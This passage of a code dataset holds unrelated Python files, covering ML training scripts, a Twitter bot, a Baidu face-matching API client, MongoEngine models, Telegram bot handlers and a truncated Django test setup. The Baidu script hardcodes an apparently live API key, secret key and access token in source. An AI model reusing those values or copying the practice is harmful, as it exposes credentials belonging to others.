train(model, train_samples, validation_samples):\n model.compile(optimizer='adam', loss='mse')\n # model.fit(X_train, y_train, validation_split=0.2, shuffle=True, nb_epoch=5, verbose=1)\n\n # compile and train the model using the generator function\n train_generator = generator(train_samples, batch_size=FLAGS.batch_size)\n val_generator = generator(validation_samples, batch_size=FLAGS.batch_size)\n\n # train\n history_object = model.fit(x=train_generator,\n steps_per_epoch=len(train_samples) // FLAGS.batch_size,\n validation_data=val_generator,\n validation_steps=len(validation_samples) // FLAGS.batch_size,\n epochs=FLAGS.epochs,\n verbose=1)\n model.save('model.h5')\n\n # print the keys contained in the history object\n print(history_object.history.keys())\n\n return history_object\n\n\ndef main(_):\n # read data\n samples = read_data(FLAGS.data_dir)\n\n # data split\n train_samples, validation_samples = train_test_split(samples, test_size=0.2)\n\n # create model\n model = create_model()\n\n # train\n history_object = train(model, train_samples, validation_samples)\n\n # display\n display_results(history_object)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n # Directory Parameters:\n parser.add_argument('--data_dir', type=str, default=data_dir,\n help='Input Data Directory')\n parser.add_argument('--epochs', type=int, default=5,\n help='The number of epochs')\n parser.add_argument('--batch_size', type=int, default=32,\n help='The batch size')\n\n FLAGS, unparsed = parser.parse_known_args()\n app.run(main=main, argv=[sys.argv[0]] + unparsed)\n\n\"\"\"\nExample:\npython model_with_generator.py \\\n--data_dir ./data/ \\\n--epochs 5 \\\n--batch_size 128\n\"\"\"\n","sub_path":"model_with_generator.py","file_name":"model_with_generator.py","file_ext":"py","file_size_in_byte":5656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"36641128","text":"import mxnet as mx\nimport mxnet.symbol as S\nimport numpy as np\n\n\ndef cross_entropy_loss(inputs, labels, rescale_loss=1):\n \"\"\"Cross entropy loss with mask\"\"\"\n criterion = mx.gluon.loss.SoftmaxCrossEntropyLoss(weight=rescale_loss)\n loss = criterion(inputs, labels)\n mask = S.var('mask')\n loss = loss * S.reshape(mask, shape=(-1,))\n return S.make_loss(loss.mean())\n\n\ndef rnn(bptt, vocab_size, num_embed, num_hid, num_layers, dropout, num_proj, batch_size):\n \"\"\"Word embedding with LSTM Projected\"\"\"\n state_names = []\n data = S.var('data')\n weight = S.var(\"encoder_weight\", stype='row_sparse')\n embed = S.sparse.Embedding(data, weight, input_dim=vocab_size,\n output_dim=num_embed, name='embed',\n sparse_grad=True)\n\n states = []\n outputs = S.Dropout(embed, p=dropout)\n for i in range(num_layers):\n prefix = 'lstmp%d' % i\n init_h = S.var(prefix + 'init_h', shape=(batch_size, num_proj),\n init=mx.init.Zero())\n init_c = S.var(prefix + 'init_c', shape=(batch_size, num_hid),\n init=mx.init.Zero())\n state_names += [prefix + 'init_h', prefix + 'init_c']\n lstmp = mx.gluon.contrib.rnn.LSTMPCell(num_hid, num_proj,\n prefix=prefix)\n outputs, next_state = lstmp.unroll(bptt, outputs, begin_state=[init_h, init_c],\n layout='NTC', merge_outputs=True)\n outputs = S.Dropout(outputs, p=dropout)\n states += [S.stop_gradient(s) for s in next_state]\n outputs = S.reshape(outputs, shape=(-1, num_proj))\n\n trainable_lstm_args = []\n for arg in outputs.list_arguments():\n if 'lstmp' in arg and 'init' not in arg:\n trainable_lstm_args.append(arg)\n return outputs, states, trainable_lstm_args, state_names\n\n\ndef sampled_softmax(num_classes, num_samples, in_dim, inputs, weight, bias,\n sampled_values, remove_accidental_hits=True):\n sample, prob_sample, prob_target = sampled_values\n # num samples\n sample = S.var('sample', shape=(num_samples,), dtype='float32')\n label = S.var('label')\n label = S.reshape(label, shape=(-1,), name='label_reshape')\n sample_label = S.concat(sample, label, dim=0)\n sample_target_w = S.sparse.Embedding(data=sample_label, weight=weight,\n input_dim=num_classes,\n output_dim=in_dim,\n sparse_grad=True)\n sample_target_b = S.sparse.Embedding(sample_label, weight=bias,\n input_dim=num_classes,\n output_dim=1,\n sparse_grad=True)\n\n sample_w = S.slice(sample_target_w, begin=(0, 0),\n end=(num_samples, None))\n target_w = S.slice(sample_target_w, begin=(num_samples, 0),\n end=(None, None))\n sample_b = S.slice(sample_target_b, begin=(0, 0),\n end=(num_samples, None))\n target_b = S.slice(sample_target_b, begin=(num_samples, 0),\n end=(None, None))\n\n true_pred = S.sum(target_w * inputs, axis=1, keepdims=True) + target_b\n\n sample_b = S.reshape(sample_b, (-1,))\n sample_pred = S.FullyConnected(inputs, weight=sample_w, bias=sample_b,\n num_hidden=num_samples)\n\n if remove_accidental_hits:\n label_v = S.reshape(label, (-1, 1))\n sampled_v = S.reshape(sample, (1, -1))\n neg = S.broadcast_equal(label_v, sampled_v) * -1e37\n sample_pred = sample_pred + neg\n\n prob_sample = S.reshape(prob_sample, shape=(1, num_samples))\n p_target = true_pred - S.log(prob_target)\n p_sample = S.broadcast_sub(sample_pred, S.log(prob_sample))\n\n logits = S.concat(p_target, p_sample, dim=1)\n new_targets = S.zeros_like(label)\n return logits, new_targets\n\n\ndef generate_samples(label, num_splits, sampler):\n\n def listify(x):\n return x if isinstance(x, list) else [x]\n\n label_splits = listify(label.split(num_splits, axis=0))\n prob_samples = []\n prob_targets = []\n samples = []\n for label_split in label_splits:\n label_split_2d = label_split.reshape((-1, 1))\n sample_value = sampler.draw(label_split_2d)\n sampled_classes, exp_cnt_true, exp_cnt_sampled = sample_value\n samples.append(sampled_classes.astype(np.float32))\n prob_targets.append(exp_cnt_true.astype(np.float32).reshape((-1, 1)))\n prob_samples.append(exp_cnt_sampled.astype(np.float32))\n return samples, prob_samples, prob_targets\n\n\nclass Model:\n\n def __init__(self, n_tokens, rescale_loss, bptt, em_size, num_hid, num_layers,\n dropout, num_proj, batch_size, k):\n out = rnn(bptt, n_tokens, em_size, num_hid, num_layers, dropout,\n num_proj, batch_size)\n rnn_out, self.last_states, self.lstm_args, self.state_names = out\n decoder_w = S.var(\"decoder_weight\", stype='row_sparse')\n decoder_b = S.var(\"decoder_bias\", shape=(n_tokens, 1), stype=\"row_sparse\")\n sample = S.var('sample', shape=(k,))\n prob_sample = S.var('prob_sample', shape=(k, ))\n prob_target = S.var(\"prob_target\")\n self.sample_names = ['sample', 'prob_sample', 'prob_target']\n logits, new_targets = sampled_softmax(n_tokens, k, num_proj,\n rnn_out, decoder_w, decoder_b,\n [sample, prob_sample, prob_target])\n self.train_loss = cross_entropy_loss(logits, new_targets, rescale_loss)\n\n eval_logits = S.FullyConnected(data=rnn_out, weight=decoder_w,\n num_hidden=n_tokens, name='decode_fc',\n bias=decoder_b)\n label = S.Variable('label')\n label = S.reshape(label, shape=(-1,))\n self.eval_loss = cross_entropy_loss(eval_logits, label)\n\n def eval(self):\n return S.Group(self.last_states + [self.eval_loss])\n\n def train(self):\n return S.Group(self.last_states + [self.train_loss])\n\n","sub_path":"MxnetExamples/RNN/Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":6240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"73676911","text":"from collections import Counter\nimport math\nfrom argparse import ArgumentParser\nimport os\n\n\n# read doc from bugreport and code.\ndef load_bug_report(file_path, save_dic):\n file = open(file_path, 'r')\n lines = file.readlines()\n total = ''\n for line in lines:\n line = line.strip()\n total += line\n save_dic[file_path] = Counter(total.split())\n return\n\n\ndef load_code(proj_path, correspond_path, save_dic):\n for root, dirs, files in os.walk(proj_path):\n for file in files:\n if file.endswith(\".java\"):\n file_path = os.path.join(root, file) \n correspond_file_path = file_path.replace(proj_path, correspond_path)\n rf = open(file_path, 'r')\n cf = open(correspond_file_path, 'r')\n lines = rf.readlines()\n clines = cf.readlines()\n for j in range(len(lines)):\n try:\n line = lines[j]\n cline = clines[j]\n except IndexError:\n print('wrong in correspond file. please check!')\n print('code path:', file_path)\n print('correspond path:', correspond_file_path)\n return\n line = line.replace('分', '').strip()\n if line is not None:\n line = line.split()\n method_signature = cline.split('$')[0]\n key = file_path + '#' + method_signature\n save_dic[key] = Counter(line)\n rf.close()\n cf.close()\n return\n\n\n# function to calculate tfidf\n# count可以通过countlist得到, word可以通过count得到\n# count[word]可以得到每个单词的词频, sum(count.values())得到整个doc的单词总数\ndef tf(word, count):\n return math.log(count[word]) + 1\n # return math.log(count[word] / sum(count.values()) ) + 1\n\n\n# 统计的是含有该单词的句子数\ndef n_containing(word, count_list):\n return sum(1 for count in count_list if word in count)\n\n\n# len(count_list)是指句子的总数,n_containing(word, count_list)是指含有该单词的句子的总数,加1是为了防止分母为0\ndef idf(word, count_list):\n return math.log(len(count_list) / n_containing(word, count_list) )\n\n\n# 将tf和idf相乘\ndef tfidf(word, count, count_list):\n return tf(word, count) * idf(word, count_list)\n\n\nif __name__ == \"__main__\":\n parser = ArgumentParser()\n parser.add_argument(\"-br\", \"--bug_report_path\", dest = \"bug_report_path\", required = True)\n parser.add_argument(\"-co\", \"--code_path\", dest = \"code_path\", required = True)\n parser.add_argument(\"-cr\", \"--correspond_path\", dest = \"correspond_path\", required = True)\n parser.add_argument(\"-bs\", \"--br_save_path\", dest = \"br_save_path\", required = True)\n parser.add_argument(\"-cs\", \"--code_save_path\", dest = \"code_save_path\", required = True)\n args = parser.parse_args() \n bug_report_path = args.bug_report_path\n code_path = args.code_path\n correspond_path = args.correspond_path\n code_save_path = args.code_save_path\n br_save_path = args.br_save_path\n\n corpus_dic = {}\n\n load_bug_report(file_path = bug_report_path, save_dic = corpus_dic)\n load_code(proj_path = code_path, correspond_path = correspond_path, save_dic = corpus_dic)\n\n counter_list = list(corpus_dic.values())\n\n # save br\n if bug_report_path in corpus_dic:\n counter = corpus_dic[bug_report_path]\n pair = [str(word) + '$' + str(tfidf(word, counter, counter_list)) for word in counter]\n f = open(br_save_path, 'w')\n f.write('\\n'.join(pair))\n f.close()\n print('finished calculate tfidf for br.')\n del corpus_dic[bug_report_path]\n\n # save method\n for doc in corpus_dic:\n doc_parts = doc.split('#')\n file_path = doc_parts[0]\n method = '#'.join(doc_parts[1:])\n write_path = file_path.replace(code_path, code_save_path)\n\n # create dirs\n write_dir = os.path.split(write_path)[0]\n if not os.path.isdir(write_dir):\n os.makedirs(write_dir)\n\n f = open(write_path, 'a')\n f.write(method + '分')\n counter = corpus_dic[doc]\n pair = [str(word) + '$' + str(tfidf(word, counter, counter_list) ) for word in counter]\n f.write('内'.join(pair))\n f.write('\\n')\n f.close()\n\n print('finished calculate tfidf for method.')\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"queryexpansion/tfidf.py","file_name":"tfidf.py","file_ext":"py","file_size_in_byte":4554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"504347941","text":"\"\"\"\n__author__ = xxxzhang\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport numpy as np\n\n\nmatplotlib.rcParams.update({'font.size': 14})\nmatplotlib.rcParams.update({'lines.linewidth': 5})\nmatplotlib.rcParams.update({'lines.markersize': 9})\n\n\ndef draw_heat(beta, node=''):\n plt.imshow(beta.T, aspect='auto')\n # plt.imshow(beta.T, norm=matplotlib.colors.LogNorm(), aspect='auto')\n # plt.imshow(beta.T, extent=(0, beta.shape[0], 0, 23), norm = matplotlib.colors.LogNorm(), aspect='auto')\n plt.colorbar()\n plt.xlabel('Feature')\n plt.ylabel('Output')\n # plt.xticks(range(0, beta.shape[0]+1, 24))\n # plt.yticks(range(0, 24, 6))\n plt.savefig('../fig/%s_Beta_heat.png' % node)\n plt.show()\n\n\ndef draw_compare(pred, real, text=None, node='', option=2):\n if text is None:\n text = ['']*pred.shape[0]\n if option == 1:\n _draw_1(pred, real, text)\n elif option == 2:\n _draw_2(pred, real, text, node)\n\n\ndef _draw_2(pred, real, text, node=''):\n if pred.shape[1] == 1:\n if pred.shape[0] < 24:\n return\n elif pred.shape[0] < 24*6:\n plt.plot(pred[:24, 0], label='Prediction', ls='--', marker='d')\n plt.plot(real[:24, 0], label='Price', ls='--', marker='o')\n plt.legend(loc='upper left')\n plt.ylabel('Price [$/MW]')\n plt.xlabel('Hour')\n plt.grid()\n plt.show()\n return\n real = real[:24*6, 0].reshape(6, 24)\n pred = pred[:24*6, 0].reshape(6, 24)\n f, axs = plt.subplots(2, 3, sharex='col', sharey='row')\n for i in range(6):\n row, col = divmod(i, 3)\n ax = axs[row, col]\n ax.plot(range(1, 25), real[i, :], ls='--', marker='d', label='Price')\n ax.plot(range(1, 25), pred[i, :], ls='--', marker='o', label='Prediction')\n # ax.set_ylim([0, 70])\n f.gca().set_xticks(range(0, 25, 6))\n if i == 0:\n ax.legend(loc='upper left')\n if col == 0:\n ax.set_ylabel('Price [$/MW]')\n if row == 1:\n ax.set_xlabel('Hour')\n ax.annotate(text[i], xy=(0.6, 0.1), xycoords='axes fraction')\n ax.grid()\n plt.savefig('../fig/%s_predict.png' % node)\n plt.show()\n\n\ndef _draw_1(pred, real, text):\n fig = plt.figure()\n for i in range(pred.shape[0]):\n if real is not None:\n plt.plot(range(1, 25), real[i, :], ls='..', marker='s', label='Price')\n if pred is not None:\n plt.plot(range(1, 25), pred[i, :], ls='-.', marker='o', label='Prediction')\n # plt.ylim([0, 60])\n # plt.legend(loc='upper left')\n fig.gca().set_xticks(range(0, 25, 6))\n plt.ylabel('Price [$/MW]')\n plt.xlabel('Hour')\n plt.text(12.5, 5, text[i], fontsize=5)\n plt.grid()\n plt.show()\n","sub_path":"predict/util_draw.py","file_name":"util_draw.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"515899944","text":"import tweet_data\nfrom sys import exit\nfrom config import create_api\nfrom get_save_text import save_data\n\nfrom tweepy import TweepError\nfrom time import time, sleep, strftime, gmtime\n\n\n'''\nTweets paintings and related metadata\n'''\n\n\ndef get_latest_tweet_id(api):\n '''Gets tweet id, which is used to check whether a tweet was successful'''\n tweets = api.user_timeline(count=1)\n tweet_id = [tweet.id for tweet in tweets][0]\n return tweet_id\n\n\ndef send_tweet():\n '''\n Uses tweet data generated by the prepare_tweet_data() function to send a tweet\n '''\n # Retrieves data for the tweet\n image_name, image_path, status_text, tweeted_images_file_path = tweet_data.prepare_tweet_data()\n\n if image_path != '':\n # Creates API connection\n api = create_api()\n success = 0\n tweet_id_before = get_latest_tweet_id(api)\n\n # If the tweet was made without error, uses the id of the latest tweet to check whether the attempt really was successful,\n # updates the success variable, and returns the variable\n try:\n # Runs Tweepy command\n api.update_with_media(image_path, status=status_text)\n # Appends the name of the uploaded image to tweeted_images.txt\n save_data(tweeted_images_file_path, [image_name])\n except (Exception, TweepError) as e:\n print(e)\n sleep(60 * 2)\n\n tweet_id_after = get_latest_tweet_id(api)\n if tweet_id_after and tweet_id_before != tweet_id_after:\n print(f'Uploaded {image_name}...')\n success = 1\n return success\n\n\n# Uses the send_tweet() function to upload five paintings\nattempts = 0\nimages_uploaded = 0\ncount_in_text = {1: \"One image\", 2: \"Two images\",\n 3: \"Three images\", 4: 'Four images', 5: 'Five images'}\n\nwhile images_uploaded < 5:\n attempts += 1\n # Includes check to exit the while loop after 31 successful or unsuccessful attempts\n if attempts == 31:\n print(\n f'I have made {attempts} to retrieve and upload images. Exiting now.')\n exit(0)\n\n # Runs the command to send a tweet\n success = send_tweet()\n if success == 1:\n images_uploaded += 1\n if images_uploaded < 5:\n print(\n f'{count_in_text[images_uploaded]} uploaded until now...Will upload another in ...')\n\n # Uses a timer to maintain a gap of 1 hour between uploads\n for i in range(3600, -1, -1):\n start = time()\n print(f'\\t{strftime(\"%H:%M:%S\", gmtime(i))}', end='\\r')\n sleep(1.0 - ((time() - start) % 1.0))\n else:\n print(\n f\"I uploaded {count_in_text[images_uploaded].lower()} in this session. It was fun. I will be happy to work with you again.\")\n","sub_path":"code/tweet.py","file_name":"tweet.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"218907889","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCompared with test_AccountDetection.py, this file communicates with Baidu server directly.\r\nThis file is to get the similarity between two images which you post to Baidu server.\r\nBe careful when converting bytes into str: if using str(b'') simply, the result will contain the two strings b' at the start\r\nand one string ' at the end. One solution is using str(b'', encoding='ascii') if any value of this binary data is less than 128.\r\nFor more information, visit this link: http://ai.baidu.com/docs#/Face-Match-V3/b90be0a0.\r\n\"\"\"\r\nimport json\r\nimport requests\r\nimport base64\r\n\r\ndef updating_api_access_token(client_id='hxcmpd28336I2vyoLZwp5BQt',\r\n client_secret='zEImNu591KRVdOrgAWYR5kxeUYUSzczO'):\r\n \"\"\"\r\n to update the access_token required by Baidu\r\n :return: str type\r\n \"\"\"\r\n payload01 = {'client_id': client_id, 'client_secret': client_secret, 'grant_type': 'client_credentials'}\r\n url01 = 'https://aip.baidubce.com/oauth/2.0/token'\r\n resp01 = requests.get(url01, params=payload01)\r\n print(resp01.url)\r\n resp01_dict = json.loads(resp01.text)\r\n print(resp01_dict.items())\r\n print(resp01_dict['access_token'])\r\n access_token = resp01_dict['access_token']\r\n return access_token\r\n\r\ndef calculating_similarity_of_images(access_token, image_type='BASE64', face_type='LIVE',\r\n quality_control='NONE', liveness_control='NONE'):\r\n url02 = 'https://aip.baidubce.com/rest/2.0/face/v3/match'\r\n payload02 = {'access_token': access_token}\r\n header02 = {'Content-Type': 'application/json'}\r\n # Here, the image source is a file which is required in base64 format.\r\n # If it is other source, you need to change the value of 'image_type' data in the body part of your request.\r\n with open('.\\\\images\\\\linchao.jpg', 'rb') as f:\r\n binary_data = f.read()\r\n img_encoded = base64.b64encode(binary_data)\r\n # The ascii table contains 128 characters while there are only 64 characters after base64 encoding.\r\n # If using str(img_encoded) simply, the result will contain the extra str b' at the start and ' at the end.\r\n data02_1 = {'image': str(img_encoded, encoding='ascii'), 'image_type': image_type, 'face_type': face_type,\r\n 'quality_control': quality_control, 'liveness_control': liveness_control}\r\n data02_2 = {'image': str(img_encoded, encoding='ascii'), 'image_type': image_type, 'face_type': face_type,\r\n 'quality_control': quality_control, 'liveness_control': liveness_control}\r\n data02 = json.dumps([data02_1, data02_2])\r\n resp02 = requests.post(url02, params=payload02, headers=header02, data=data02)\r\n # result returned by Baidu\r\n resp02_dict = json.loads(resp02.text)\r\n print(resp02_dict.keys())\r\n print(resp02_dict.items())\r\n\r\nif __name__ == '__main__':\r\n AppID = '11691460' # Currently, it is not used\r\n API_Key = 'hxcmpd28336I2vyoLZwp5BQt'\r\n Secret_Key = 'zEImNu591KRVdOrgAWYR5kxeUYUSzczO'\r\n\r\n op_dict = {'updating_access_token_status': '0',\r\n 'calculating_similarity_of_images_status': 1\r\n }\r\n\r\n # getting access token\r\n if op_dict.get('updating_access_token_status', None) == '1':\r\n print(\r\n '--------------------------- 1. start to update access_token ---------------------------------------------')\r\n access_token = updating_api_access_token(client_id=API_Key, client_secret=Secret_Key)\r\n else:\r\n access_token = '24.f682e51656791c414389ce5bfc70b531.2592000.1537084614.282335-11691460'\r\n\r\n # searching\r\n if op_dict.get('calculating_similarity_of_images_status', None) == 1:\r\n calculating_similarity_of_images(access_token=access_token)\r\n\r\n","sub_path":"test_AccountDetection02_5.py","file_name":"test_AccountDetection02_5.py","file_ext":"py","file_size_in_byte":3754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"68266574","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import sparse\nimport Hog\nimport cv2\nimport Training\nimport pandas as pd\n\n\ndef softmax(V):\n e_V = np.exp(V - np.max(V, axis=0, keepdims=True))\n Z = e_V / e_V.sum(axis=0)\n return Z\n\n# y là vector hàng, khi trả ra ta có ma trận Y\ndef convert_labels(y, C=3):\n Y = sparse.coo_matrix((np.ones_like(y),#data\n (y, np.arange(len(y)))), shape=(C, len(y))).toarray()\n #hàng, cột số chiều của ma trận Y\n return Y\n\n\n# cost or loss function\ndef cost(Y, Yhat):\n return -np.sum(Y * np.log(Yhat)) / Y.shape[1]\n\n\ndef main():\n data = pd.read_csv(\"Train.csv\");\n data = np.array(data)\n X = data[:, 1:-1]\n y = data[:, -1]\n\n X = X.T\n\n # d chính là số unit trong mỗi layer, tương ứng với input thì d0 sẽ là số chiều dữ liệu và C chính là số lớp ta muốn phân\n d0 = 3780\n d1 = 100\n d2 = C = 3\n\n # Khởi tạo ngẫu nhiên cho bộ tham số\n W1 = 0.01*np.random.randn(d0, d1)\n b1 = np.zeros((d1, 1))\n W2 = 0.01*np.random.randn(d1, d2)\n b2 = np.zeros((d2, 1))\n\n # Chuyển label thành dạng One hot coding, VD: khi data point của ta thuộc lớp 1 (có 3 lớp) thì label ta là: [1,0,0]\n Y = convert_labels(y, C)\n N = X.shape[1] #Số điểm dữ liệu\n eta = 0.1 # learning rate\n\n for i in range(500):\n # Feedforward\n Z1 = np.dot(W1.T, X) + b1\n A1 = np.maximum(Z1, 0)\n Z2 = np.dot(W2.T, A1) + b2\n Yhat = softmax(Z2)\n\n # backpropagation\n E2 = (Yhat - Y )/N\n dW2 = np.dot(A1, E2.T)\n db2 = np.sum(E2, axis = 1, keepdims = True)\n E1 = np.dot(W2, E2)\n E1[Z1 <= 0] = 0 # gradient of ReLU\n dW1 = np.dot(X, E1.T)\n db1 = np.sum(E1, axis = 1, keepdims = True)\n\n # Cập nhật lại các thông số\n W1 =W1 -eta*dW1\n b1 =b1 -eta*db1\n W2 =W2 -eta*dW2\n b2 =b2 -eta*db2\n\n return W1,b1,W2,b2;\n","sub_path":"MLP.py","file_name":"MLP.py","file_ext":"py","file_size_in_byte":2065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"323146941","text":"import datetime\nimport sys\n\ndef next_event(filename):\n with open(filename, \"r\") as datafile:\n for line in datafile:\n if \"dut: Device State: \" in line:\n line = line.strip()\n # Parse out the action and timestamp\n action = line.split()[-1]\n timestamp = line[:19]\n yield (action, timestamp)\n\ndef time_diff_seconds(start, end):\n format = \"%b %d %H:%M:%S:%f\"\n start_time = datetime.datetime.strptime(start, format)\n end_time = datetime.datetime.strptime(end, format)\n return (end_time - start_time).total_seconds()\n\ndef extract_data(filename):\n time_on_started = None\n errs = []\n total_time_on = 0\n\n for action, timestamp in next_event(filename):\n # First test for errs\n if \"ERR\" == action:\n errs.append(timestamp)\n elif (\"ON\" == action) and (not time_on_started):\n time_on_started = timestamp\n elif (\"OFF\" == action) and time_on_started:\n time_on = time_diff_seconds(time_on_started, timestamp)\n total_time_on += time_on\n time_on_started = None\n return total_time_on, errs\n\nif __name__ == \"__main__\":\n total_time_on, errs = extract_data(sys.argv[1])\n print(f\"Device was on for {total_time_on} seconds\")\n if errs:\n print(\"Timestamps of error events:\")\n for err in errs:\n print(f\"\\t{err}\")\n else:\n print(\"No error events found.\")\n","sub_path":"python-cases/log-parser.py","file_name":"log-parser.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"110787471","text":"from datetime import datetime\nfrom bson import ObjectId\nfrom flask_mongoengine import MongoEngine\n\n\ndb = MongoEngine()\n\nDB_NAME = \"rizzmi_crm\"\nDB_PORT = 27017\nDB_HOST = \"localhost\"\n\n\nclass ExtendedDocument(db.Document):\n \"\"\"\n ...\n \"\"\"\n\n meta = {\"abstract\": True}\n\n _id = db.ObjectIdField(primary_key=True, required=True, default=ObjectId)\n creation_date = db.DateTimeField(required=True)\n modified_date = db.DateTimeField(required=True, default=datetime.utcnow)\n\n def save(self, *args, **kwargs):\n if not self.creation_date:\n self.creation_date = datetime.utcnow()\n self.modified_date = datetime.utcnow()\n\n for key in self:\n if isinstance(self[key], db.EmbeddedDocument):\n self[key].save()\n if isinstance(self[key], list):\n for val in self[key]:\n if isinstance(val, db.EmbeddedDocument):\n val.save()\n\n super(ExtendedDocument, self).save(*args, **kwargs)\n\n def json(self):\n result = self.to_mongo()\n\n for key, val in result.items():\n if isinstance(val, ObjectId):\n result[key] = str(val)\n elif isinstance(self[key], db.EmbeddedDocument):\n result[key] = self[key].json()\n elif isinstance(self[key], list):\n for i, item in enumerate(self[key]):\n if isinstance(result[key][i], ObjectId):\n result[key][i] = str(result[key][i])\n elif isinstance(item, db.EmbeddedDocument):\n result[key][i] = item.json()\n\n return result\n\n @classmethod\n def find_by_id(cls, _id):\n try:\n return cls.objects(_id=_id).first()\n except Exception as e:\n print(str(e))\n return\n\n @classmethod\n def find_one_by(cls, field_name, value):\n try:\n return cls.objects(**{field_name: value}).first()\n except Exception as e:\n print(str(e))\n return\n\n @classmethod\n def find_many_by(cls, field_name, value, sort_keys=tuple()):\n try:\n if sort_keys and isinstance(sort_keys, (tuple, list, set)):\n return list(cls.objects(**{field_name: value}).order_by(*sort_keys))\n return list(cls.objects(**{field_name: value}))\n except Exception as e:\n print(str(e))\n return []\n\n @classmethod\n def find_all(cls, sort_keys=tuple()):\n try:\n if sort_keys and isinstance(sort_keys, (tuple, list, set)):\n return list(cls.objects().order_by(*sort_keys))\n return list(cls.objects())\n except Exception as e:\n print(str(e))\n return []\n\n\nclass ExtendedEmbeddedDocument(db.EmbeddedDocument):\n \"\"\"\n ...\n \"\"\"\n\n meta = {\"abstract\": True}\n\n _id = db.ObjectIdField(required=True, default=ObjectId)\n creation_date = db.DateTimeField(required=True)\n modified_date = db.DateTimeField(required=True, default=datetime.utcnow)\n\n def save(self):\n if not self.creation_date:\n self.creation_date = datetime.utcnow()\n self.modified_date = datetime.utcnow()\n\n def json(self):\n result = self.to_mongo()\n\n for key in result:\n if isinstance(result[key], ObjectId):\n result[key] = str(result[key])\n elif isinstance(self[key], db.EmbeddedDocument):\n result[key] = self[key].json()\n elif isinstance(self[key], list):\n for i, item in enumerate(self[key]):\n if isinstance(result[key][i], ObjectId):\n result[key][i] = str(result[key][i])\n elif isinstance(item, db.EmbeddedDocument):\n result[key][i] = item.json()\n\n return result\n\n\ndef create_field(data):\n field = DTYPES[data.data_type]\n return field(required=data.required, unique=data.unique)\n\n\ndef create_model(name, parents, attributes):\n return type(name, parents, {field.name: create_field(field) for field in attributes})\n\n\nDTYPES = {\"bool\": db.BooleanField,\n \"datetime\": db.DateTimeField,\n \"dict\": db.DictField,\n \"dynamic\": db.DynamicField,\n \"email\": db.EmailField,\n \"float\": db.FloatField,\n \"int\": db.IntField,\n \"list\": db.ListField,\n \"str\": db.StringField}\n\nACCEPT_MAX_LEN = [\"str\", \"list\", \"email\"]\nACCEPT_MIN_LEN = [\"str\", \"email\"]\nACCEPT_MIN_VAL = [\"int\", \"float\"]\nACCEPT_MAX_VAL = [\"int\", \"float\"]\n","sub_path":"app/models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"5975666","text":"from pyrogram import Client, filters\n\nfrom bot.db.models import *\n\n\n@Client.on_callback_query(filters.regex('^random_song$'))\nasync def on_random_callback(_, query):\n await query.answer()\n await query.edit_message_text(config.LOADING)\n\n with db_session:\n song = Song.select_random(1)[0]\n\n await query.edit_message_text(song.message(True), reply_markup=song.keyboard(menu=True),\n disable_web_page_preview=False)\n\n\n@Client.on_message(filters.command('random'))\nasync def on_random_command(_, message):\n msg = await message.reply_text(config.LOADING)\n\n with db_session:\n song = Song.select_random(1)[0]\n\n await msg.edit_text(song.message(True), reply_markup=song.keyboard(menu=True),\n disable_web_page_preview=False)\n","sub_path":"src/bot/plugin/random.py","file_name":"random.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"560978014","text":"# Standard Library\nimport logging\nfrom unittest.mock import patch\n\n# Third-Party Imports\nfrom django.apps import apps\nfrom django.test import TestCase\n\n# App Imports\nfrom core.slack_bot import SlackIntegration\n\nlogging.disable(logging.WARNING)\n\n\nclass CoreBaseTestCase(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.patch_slack_id = patch.object(SlackIntegration, 'get_user_slack_id')\n cls.patch_send_message = patch.object(SlackIntegration, 'send_message')\n\n cls.patch_slack_id.return_value = 'test_id'\n cls.patch_send_message.return_value = ''\n cls.patch_slack_id.start()\n cls.patch_send_message.start()\n\n cls.user = apps.get_model('core', 'User').objects.create(\n email='test@site.com',\n cohort=10,\n slack_handle='@test_user',\n password='devpassword',\n )\n cls.asset_assignee = apps.get_model('core', 'AssetAssignee').objects.get(\n user=cls.user\n )\n\n cls.user2 = apps.get_model('core', 'User').objects.create(\n email='test15@site.com',\n cohort=15,\n slack_handle='@test_user',\n password='devpassword',\n )\n cls.asset_assignee2 = apps.get_model('core', 'AssetAssignee').objects.get(\n user=cls.user2\n )\n\n cls.security_user = apps.get_model('core', 'SecurityUser').objects.create(\n email=\"sectest1@andela.com\",\n password=\"devpassword\",\n first_name=\"TestFirst\",\n last_name=\"TestLast\",\n phone_number=\"254720900900\",\n badge_number=\"AE23\",\n )\n\n cls.category = apps.get_model('core', 'AssetCategory').objects.create(\n category_name=\"Computer\"\n )\n cls.asset_sub_category = apps.get_model(\n 'core', 'AssetSubCategory'\n ).objects.create(\n sub_category_name=\"Computer Accessories\", asset_category=cls.category\n )\n cls.asset_type = apps.get_model('core', 'AssetType').objects.create(\n asset_type=\"Accessory\", asset_sub_category=cls.asset_sub_category\n )\n cls.asset_make = apps.get_model('core', 'AssetMake').objects.create(\n make_label=\"Sades\", asset_type=cls.asset_type\n )\n cls.test_assetmodel = apps.get_model('core', 'AssetModelNumber').objects.create(\n 